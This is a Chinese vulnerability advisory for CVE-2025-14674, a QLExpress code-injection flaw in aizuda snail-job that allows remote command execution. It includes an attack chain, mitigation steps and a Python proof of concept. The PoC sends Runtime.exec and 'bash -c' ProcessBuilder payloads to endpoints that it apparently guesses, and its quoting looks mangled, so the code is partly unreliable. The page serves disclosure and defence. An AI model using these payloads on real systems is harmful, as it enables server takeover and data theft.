IPBUF安全漏洞报告
English
CVE-2025-14674 CVSS 6.3 中危

aizuda snail-job QLExpressEngine.doEval 注入漏洞 (CVE-2025-14674)

披露日期: 2025-12-14

漏洞信息

漏洞编号
CVE-2025-14674
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
aizuda snail-job

相关标签

代码注入远程代码执行QLExpresssnail-jobaizudaCVE-2025-14674分布式任务调度Java

漏洞概述

aizuda snail-job是一款开源的分布式任务调度框架,在1.6.0及之前版本中存在一处代码注入漏洞。该漏洞位于snail-job-common-core模块的QLExpressEngine.doEval方法中,攻击者可通过构造恶意输入利用QLExpress引擎的表达式执行功能执行任意代码。由于该漏洞可通过远程方式利用,且只需要低权限认证即可发起攻击,因此存在较大的安全风险。snail-job框架广泛应用于企业级定时任务调度、异步任务处理等场景,漏洞一旦被利用可能导致敏感数据泄露、服务器被完全控制等严重后果。建议受影响用户尽快升级到1.7.0-beta1或更高版本以修复该漏洞。

技术细节

该漏洞根源在于QLExpressEngine.doEval方法对用户输入的表达式缺乏充分的过滤和验证。QLExpress是一款国产的动态脚本引擎,支持执行动态表达式。攻击者可以利用该引擎的动态代码执行能力,构造包含恶意代码的表达式字符串,绕过应用层的安全限制。在snail-job框架中,如果任务配置或参数传递过程中涉及到表达式解析,且未对输入进行严格过滤,攻击者即可通过API接口或任务配置注入恶意QLExpress表达式。成功利用此漏洞可实现远程代码执行(RCE),在服务器上执行任意系统命令。漏洞的利用前提是攻击者需要拥有框架的低权限账号或能访问表达式解析接口。修复方案在commit 978f316c38b3d68bb74d2489b5e5f721f6675e86中对输入验证逻辑进行了加固,增加了表达式执行前的安全检查和白名单过滤机制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用的snail-job版本,确认版本在1.6.0或更早版本
STEP 2
步骤2:获取低权限访问
通过默认凭证、弱密码或社会工程学获取snail-job框架的低权限账号
STEP 3
步骤3:构造恶意表达式
利用QLExpress引擎的动态代码执行能力,构造包含Java代码的恶意表达式payload
STEP 4
步骤4:触发漏洞
通过API接口(如/expression/eval)或任务配置接口发送构造的恶意表达式
STEP 5
步骤5:远程代码执行
服务器执行恶意表达式,调用Runtime.getRuntime().exec()或ProcessBuilder执行系统命令
STEP 6
步骤6:持久化控制
攻击者可在服务器上部署后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14674 PoC - QLExpress Engine Injection in snail-job # Target: aizuda snail-job <= 1.6.0 TARGET_URL = "http://target:8080" def exploit(target_url, command="whoami"): """ Exploit QLExpress injection via QLExpressEngine.doEval This PoC demonstrates remote code execution """ # Malicious QLExpress expression for RCE # Using QLExpress's ability to execute system commands payload = f"" Runtime.getRuntime().exec("{command}") """ # Alternative payload using ProcessBuilder alt_payload = f"" new ProcessBuilder(Arrays.asList("bash", "-c", "{command}")).start().waitFor() """ # Endpoint depends on snail-job configuration # Common endpoints for expression evaluation endpoints = [ "/api/expression/eval", "/api/job/expression", "/expression/eval", "/admin/expression/eval" ] headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } data = { "expression": payload, "type": "QLExpress" } for endpoint in endpoints: try: response = requests.post( f"{target_url}{endpoint}", headers=headers, json=data, timeout=10 ) if response.status_code == 200: print(f"[!] Success! Command executed via {endpoint}") print(f"Response: {response.text}") return True except Exception as e: continue print("[*] Exploitation failed - target may be patched or endpoint not found") return False if __name__ == "__main__": import sys cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami" exploit(TARGET_URL, cmd)

影响范围

aizuda snail-job < 1.7.0-beta1
aizuda snail-job 1.0.0 - 1.6.0

防御指南

临时缓解措施
如无法立即升级,可采取以下临时缓解措施:1) 在API网关层对表达式相关接口实施访问控制,限制只有授权IP可访问;2) 禁用QLExpress表达式执行功能,切换到其他安全的表达式引擎;3) 在应用层增加表达式内容的安全过滤,禁止包含Runtime、ProcessBuilder等危险类的表达式;4) 加强用户认证和会话管理,防止低权限账号被恶意利用;5) 部署Web应用防火墙(WAF)规则,拦截包含恶意代码特征的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表